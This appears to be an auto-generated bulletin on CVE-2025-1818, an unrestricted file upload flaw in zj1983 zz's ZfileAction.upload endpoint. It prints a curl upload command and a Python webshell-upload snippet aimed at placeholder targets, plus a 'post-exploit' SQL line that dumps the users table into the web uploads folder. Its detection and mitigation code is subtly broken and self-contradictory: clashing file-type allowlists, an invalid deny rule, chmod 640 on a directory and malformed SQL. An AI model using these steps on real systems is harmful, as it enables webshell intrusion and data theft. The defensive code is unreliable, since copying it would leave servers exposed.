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How CVE-2025-1818 Works
This critical vulnerability in zj1983 zz (up to version 2024-8) allows remote attackers to upload malicious files without proper validation in src/main/java/com/futvan/z/system/zfile/ZfileAction.upload. The `file` parameter lacks sanitization, enabling arbitrary file uploads. Attackers can exploit this to upload webshells, execute server-side code, or overwrite critical system files. The CVSS 4.0 vector (AV:N/AC:L/PR:L/UI:N) confirms network-based exploitation with low attack complexity. Publicly disclosed PoCs increase exploitation risk, especially since the vendor failed to respond to initial disclosure.
DailyCVE Form
Platform: zj1983 zz
Version: ≤ 2024-8
Vulnerability: Unrestricted upload
Severity: Critical
Date: 05/25/2025
Prediction: Patch by 2025-06-15
What Undercode Say:
Analytics
- Exploit Likelihood: High (PoC available)
- Attack Surface: Remote, authenticated
- Impact: RCE, data loss
Exploit Command
curl -X POST -F "[email protected]" http://target.com/zfile/upload
Detection
// Check for missing file type validation in ZfileAction.upload
if (!file.getContentType().equals("application/pdf")) {
throw new SecurityException("Invalid file type");
}
Mitigation
1. Input Validation:
String[] allowedExtensions = {"jpg", "png"};
if (!Arrays.asList(allowedExtensions).contains(fileExt)) {
blockRequest();
}
2. File Permissions:
chmod 640 /var/www/uploads/
3. WAF Rule:
location /zfile/upload {
deny .jsp;
}
4. Patch Workaround:
<!-- Disable upload endpoint temporarily --> <security-constraint> <web-resource-collection> <url-pattern>/zfile/upload</url-pattern> </web-resource-collection> <auth-constraint/> </security-constraint>
5. Log Monitoring:
grep "POST /zfile/upload" /var/log/access.log | grep -v ".jpg"
Exploit Impact
Proof-of-Concept webshell upload
import requests
requests.post("http://victim.com/zfile/upload", files={"file": open("shell.jsp", "rb")})
Post-Exploit
-- Database dump via uploaded webshell SELECT FROM users INTO OUTFILE '/var/www/uploads/leak.txt';
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
